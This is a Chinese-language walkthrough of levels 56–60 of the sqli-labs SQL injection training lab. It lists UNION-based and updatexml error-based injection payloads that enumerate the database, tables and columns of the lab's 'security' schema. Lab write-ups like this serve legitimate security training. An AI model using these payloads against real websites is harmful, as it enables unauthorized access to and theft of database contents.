sql-labs56-60通关攻略

第56关

一查询数据库

?id=-1')union select 1,2,database()--+

二.查表

?id=-1')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

三.查看users表中列名

?id=-1')union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

第57关

一.查看数据库

?id=-1"union select 1,2,database()--+

二.查看表名

?id=-1"union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

三.查看users表中列名

?id=-1"union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

第58关

一.查看数据库

?id=1' and updatexml(1,concat(1,(select database())),1)--+

二.查看表名

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

三.查看users表中列名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

第59关

一.查看数据库

?id=1 and updatexml(1,concat(1,(select database())),1)

二.查看表名

?id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

三.查看users表中列名

?id=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)

第60关

一.查看数据库

?id=1") and updatexml(1,concat(1,(select database())),1)--+

二.查看表名

?id=1") and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

三.查看users表中列名

?id=1")and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

相关推荐
凯子坚持 c3 分钟前
Qt常用控件指南(8)
开发语言·数据库·qt
春生野草20 分钟前
Redis
数据库·redis·缓存
weixin_4997715531 分钟前
Python上下文管理器(with语句)的原理与实践
jvm·数据库·python
weixin_4521595533 分钟前
高级爬虫技巧:处理JavaScript渲染(Selenium)
jvm·数据库·python
策知道35 分钟前
依托政府工作报告准备省考【经验贴】
大数据·数据库·人工智能·搜索引擎·政务
spencer_tseng37 分钟前
MySQL table backup
mysql
Z...........42 分钟前
MYSQL进阶查询
数据库·mysql
Tansmjs2 小时前
使用Python自动收发邮件
jvm·数据库·python
m0_561359672 小时前
用Python监控系统日志并发送警报
jvm·数据库·python
Dxy12393102162 小时前
MySQL INSERT ... ON DUPLICATE KEY UPDATE 与非主键唯一字段
数据库·mysql